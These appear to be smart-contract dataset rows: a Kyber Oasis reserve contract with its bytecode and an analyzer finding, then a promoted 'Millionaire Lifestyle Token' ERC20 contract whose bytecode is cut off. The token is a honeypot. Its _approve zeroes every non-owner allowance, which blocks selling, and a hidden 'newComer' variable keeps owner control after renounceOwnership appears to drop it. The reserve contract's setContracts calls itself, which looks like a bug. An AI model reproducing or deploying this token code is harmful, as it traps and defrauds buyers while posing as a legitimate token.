/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberOasisReserve.sol
contract OtcInterface {
function getBuyAmount(address, address, uint) public constant returns (uint);
}
contract OasisDirectInterface {
function sellAllAmountPayEth(OtcInterface, ERC20, ERC20, uint)public payable returns (uint);
function sellAllAmountBuyEth(OtcInterface, ERC20, uint, ERC20, uint) public returns (uint);
}
contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
OasisDirectInterface public oasisDirect;
OtcInterface public otc;
ERC20 public wethToken;
ERC20 public tradeToken;
bool public tradeEnabled;
function KyberOasisReserve(
address _kyberNetwork,
OasisDirectInterface _oasisDirect,
OtcInterface _otc,
ERC20 _wethToken,
ERC20 _tradeToken,
address _admin
) public {
require(_admin != address(0));
require(_oasisDirect != address(0));
require(_kyberNetwork != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
kyberNetwork = _kyberNetwork;
oasisDirect = _oasisDirect;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
admin = _admin;
tradeEnabled = true;
}
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(
address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event SetContractAddresses(
address kyberNetwork,
OasisDirectInterface oasisDirect,
OtcInterface otc,
ERC20 wethToken,
ERC20 tradeToken
);
function setContracts(
address _kyberNetwork,
OasisDirectInterface _oasisDirect,
OtcInterface _otc,
ERC20 _wethToken,
ERC20 _tradeToken
)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_oasisDirect != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
kyberNetwork = _kyberNetwork;
oasisDirect = _oasisDirect;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
setContracts(kyberNetwork, oasisDirect, otc, wethToken, tradeToken);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
uint rate;
uint dstQty;
blockNumber;
if (!tradeEnabled) return 0;
if ((ETH_TOKEN_ADDRESS != src) && (ETH_TOKEN_ADDRESS != dest)) return 0;
if ((tradeToken != src) && (tradeToken != dest)) return 0;
dstQty = otc.getBuyAmount(dest, src, srcQty);
rate = dstQty * PRECISION / srcQty;
return rate;
}
function doTrade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
uint actualDestAmount;
require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken));
require((tradeToken == srcToken) || (tradeToken == destToken));
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
if (srcToken == ETH_TOKEN_ADDRESS) {
actualDestAmount = oasisDirect.sellAllAmountPayEth.value(msg.value)(otc, wethToken, destToken, destAmount);
require(actualDestAmount >= destAmount); //TODO: should we require these (also in sell)?
require(destToken.transfer(destAddress, actualDestAmount));
} else {
require(srcToken.transferFrom(msg.sender, this, srcAmount));
if (srcToken.allowance(this, oasisDirect) < srcAmount) {
srcToken.approve(oasisDirect, uint(-1)); //TODO - should we use -1 like in proxy??
}
actualDestAmount = oasisDirect.sellAllAmountBuyEth(otc, srcToken, srcAmount, wethToken, destAmount);
require(actualDestAmount >= destAmount);
destAddress.transfer(actualDestAmount);
}
TradeExecute(msg.sender, srcToken, srcAmount, destToken, actualDestAmount, destAddress);
return true;
}
event DepositToken(ERC20 token, uint amount);
}
|
0x60606040526004361061012e5763ffffffff60e060020a60003504166299d386811461018857806301a12fd3146101af5780630d9f5faa146101d057806326782247146101ff57806327a099d81461021257806336b61e3c146102785780633ccdbb281461028b578063408ee7fe146102b45780634b57b0be146102d35780636940030f146102e65780636cf69811146102f957806375829def1461032557806377f50f97146103445780637acc8678146103575780637c423f54146103765780637cd44272146103895780639870d7fe146103c6578063ac8a584a146103e5578063b78b842d14610404578063ce56c45414610417578063d621e81314610439578063d83678ac1461044c578063f63bf8bd1461045f578063f851a44014610496578063fa64dffa146104a9575b7f2d0c0a8842b9944ece1495eb61121621b5e36bd6af3bba0318c695f525aef79f73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee34604051600160a060020a03909216825260208201526040908101905180910390a1005b341561019357600080fd5b61019b6104d4565b604051901515815260200160405180910390f35b34156101ba57600080fd5b6101ce600160a060020a0360043516610562565b005b34156101db57600080fd5b6101e36106d2565b604051600160a060020a03909116815260200160405180910390f35b341561020a57600080fd5b6101e36106e1565b341561021d57600080fd5b6102256106f0565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561026457808201518382015260200161024c565b505050509050019250505060405180910390f35b341561028357600080fd5b6101e3610758565b341561029657600080fd5b6101ce600160a060020a036004358116906024359060443516610767565b34156102bf57600080fd5b6101ce600160a060020a036004351661085e565b34156102de57600080fd5b6101e361095a565b34156102f157600080fd5b61019b610969565b61019b600160a060020a03600435811690602435906044358116906064351660843560a43515156109ea565b341561033057600080fd5b6101ce600160a060020a0360043516610a57565b341561034f57600080fd5b6101ce610af2565b341561036257600080fd5b6101ce600160a060020a0360043516610b8c565b341561038157600080fd5b610225610c6e565b341561039457600080fd5b6103b4600160a060020a0360043581169060243516604435606435610cd4565b60405190815260200160405180910390f35b34156103d157600080fd5b6101ce600160a060020a0360043516610e39565b34156103f057600080fd5b6101ce600160a060020a0360043516610f09565b341561040f57600080fd5b6101e3611075565b341561042257600080fd5b6101ce600435600160a060020a0360243516611084565b341561044457600080fd5b61019b611117565b341561045757600080fd5b6101e3611138565b341561046a57600080fd5b6101ce600160a060020a0360043581169060243581169060443581169060643581169060843516611147565b34156104a157600080fd5b6101e3611247565b34156104b457600080fd5b6103b4600160a060020a0360043581169060243516604435606435611256565b6000805433600160a060020a039081169116146104f057600080fd5b600b805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356001604051901515815260200160405180910390a15060015b90565b6000805433600160a060020a0390811691161461057e57600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105a557600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156106ce5781600160a060020a03166005828154811015156105ea57fe5b600091825260209091200154600160a060020a031614156106c65760058054600019810190811061061757fe5b60009182526020909120015460058054600160a060020a03909216918390811061063d57fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556005805490610679906000198301611931565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ce565b6001016105c7565b5050565b600854600160a060020a031681565b600154600160a060020a031681565b6106f861195a565b600480548060200260200160405190810160405280929190818152602001828054801561074e57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610730575b5050505050905090565b600954600160a060020a031681565b60005433600160a060020a0390811691161461078257600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156107df57600080fd5b6102c65a03f115156107f057600080fd5b50505060405180519050151561080557600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461087957600080fd5b600160a060020a03811660009081526003602052604090205460ff161561089f57600080fd5b600554603290106108af57600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff19166001908117909155600580549091810161092e8382611931565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b600a54600160a060020a031681565b600160a060020a03331660009081526003602052604081205460ff16151561099057600080fd5b600b805474ff0000000000000000000000000000000000000000191690557f7d7f00509dd73ac4449f698ae75ccc797895eff5fa9d446d3df387598a26e7356000604051901515815260200160405180910390a150600190565b600b5460009074010000000000000000000000000000000000000000900460ff161515610a1657600080fd5b60075433600160a060020a03908116911614610a3157600080fd5b610a3f878787878787611288565b1515610a4a57600080fd5b5060019695505050505050565b60005433600160a060020a03908116911614610a7257600080fd5b600160a060020a0381161515610a8757600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610b0d57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610ba757600080fd5b600160a060020a0381161515610bbc57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610c7661195a565b600580548060200260200160405190810160405280929190818152602001828054801561074e57602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610730575050505050905090565b6000806000600b60149054906101000a900460ff161515610cf85760009250610e2f565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a03881614801590610d42575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a03871614155b15610d505760009250610e2f565b600b54600160a060020a03888116911614801590610d7c5750600b54600160a060020a03878116911614155b15610d8a5760009250610e2f565b600954600160a060020a031663144a275287898860006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610df657600080fd5b6102c65a03f11515610e0757600080fd5b50505060405180519050905084670de0b6b3a76400008202811515610e2857fe5b0491508192505b5050949350505050565b60005433600160a060020a03908116911614610e5457600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610e7a57600080fd5b60045460329010610e8a57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff19166001908117909155600480549091810161092e8382611931565b6000805433600160a060020a03908116911614610f2557600080fd5b600160a060020a03821660009081526002602052604090205460ff161515610f4c57600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156106ce5781600160a060020a0316600482815481101515610f9157fe5b600091825260209091200154600160a060020a0316141561106d57600480546000198101908110610fbe57fe5b60009182526020909120015460048054600160a060020a039092169183908110610fe457fe5b60009182526020909120018054600160a060020a031916600160a060020a03929092169190911790556004805460001901906110209082611931565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a16106ce565b600101610f6e565b600754600160a060020a031681565b60005433600160a060020a0390811691161461109f57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f1935050505015156110d057600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600b5474010000000000000000000000000000000000000000900460ff1681565b600b54600160a060020a031681565b60005433600160a060020a0390811691161461116257600080fd5b600160a060020a038516151561117757600080fd5b600160a060020a038416151561118c57600080fd5b600160a060020a03831615156111a157600080fd5b600160a060020a03821615156111b657600080fd5b600160a060020a03811615156111cb57600080fd5b60078054600160a060020a0319908116600160a060020a03888116919091179283905560088054831688831617908190556009805484168884161790819055600a805485168885161790819055600b805490951687851617948590556112409584169492841693918216929082169116611147565b5050505050565b600054600160a060020a031681565b6000806000611264866117d4565b915061126f876117d4565b905061127d85828487611898565b979650505050505050565b6000808073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038a1614806112d3575073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee600160a060020a038816145b15156112de57600080fd5b600b54600160a060020a038a8116911614806113075750600b54600160a060020a038881169116145b151561131257600080fd5b8315611366576000851161132557600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561135b5734881461135657600080fd5b611366565b341561136657600080fd5b61137289888a88611256565b90506000811161138157600080fd5b600160a060020a03891673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156114d957600854600954600a54600160a060020a039283169263e50278a692349290821691168b8660006040516020015260405160e060020a63ffffffff8816028152600160a060020a03948516600482015292841660248401529216604482015260648101919091526084016020604051808303818588803b151561142757600080fd5b6125ee5a03f1151561143857600080fd5b5050505060405180519250508082101561145157600080fd5b86600160a060020a031663a9059cbb878460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156114ae57600080fd5b6102c65a03f115156114bf57600080fd5b5050506040518051905015156114d457600080fd5b611758565b88600160a060020a03166323b872dd33308b60006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561154357600080fd5b6102c65a03f1151561155457600080fd5b50505060405180519050151561156957600080fd5b6008548890600160a060020a03808c169163dd62ed3e9130911660006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156115d157600080fd5b6102c65a03f115156115e257600080fd5b50505060405180519050101561167357600854600160a060020a03808b169163095ea7b3911660001960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561165757600080fd5b6102c65a03f1151561166857600080fd5b505050604051805150505b600854600954600a54600160a060020a03928316926303e1b3c6928116918d918d91168660006040516020015260405160e060020a63ffffffff8816028152600160a060020a039586166004820152938516602485015260448401929092529092166064820152608481019190915260a401602060405180830381600087803b15156116fe57600080fd5b6102c65a03f1151561170f57600080fd5b50505060405180519250508082101561172757600080fd5b600160a060020a03861682156108fc0283604051600060405180830381858888f19350505050151561175857600080fd5b33600160a060020a03167fea9415385bae08fe9f6dc457b02577166790cde83bb18cc340aac6cb81b824de8a8a8a868b604051600160a060020a039586168152602081019490945291841660408085019190915260608401919091529216608082015260a001905180910390a250600198975050505050505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156118055760129150611892565b50600160a060020a03821660009081526006602052604090205480151561188e5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561186c57600080fd5b6102c65a03f1151561187d57600080fd5b505050604051805190509150611892565b8091505b50919050565b60006b204fce5e3e250261100000008511156118b357600080fd5b69d3c21bcecceda10000008211156118ca57600080fd5b8383106118fd57601284840311156118e157600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611929565b6012838503111561190d57600080fd5b828403600a0a670de0b6b3a7640000028286028115156118f557fe5b949350505050565b8154818355818115116119555760008381526020902061195591810190830161196c565b505050565b60206040519081016040526000815290565b61055f91905b808211156119865760008155600101611972565b50905600a165627a7a72305820915a14bcfe5c601df8c6132c4f2f36a95fb3e802f72defee67ce1a23174fd97a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,269 |
0xc20ce8cebe32b0b78b1b363eb47ba6c992f5fab4
|
/*
🔥Millionaire Lifestyle Token🔥
🚨1/6/22 Time: TBA🚨
😎NoBs Router Clogg King Trynos!!😎
Millionaire Lifestyle Token is the go-to crypto token if you want to attend the greatest crypto events in the industry.
The vision of this token is to allow holders to attend exclusive events and parties hosted and paid for by the token tax.
🚀Holding a certain percentage of the coin will grant you an NFT pass giving access to these events.🚀
Tokenomics:
11% Taxes
-5% Marketing
-3% Events and Planning
-2% Added to Lp
-1% MLT Reflections
Socials:
Telegram: t.me/millionairelt
Twitter: twitter.com/millionairelt
Website: millionairelifestyletoken.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract MillionaireLifestyle is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Millionaire Lifestyle ' ;
string private _symbol = 'MLT ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b5050505090509081019060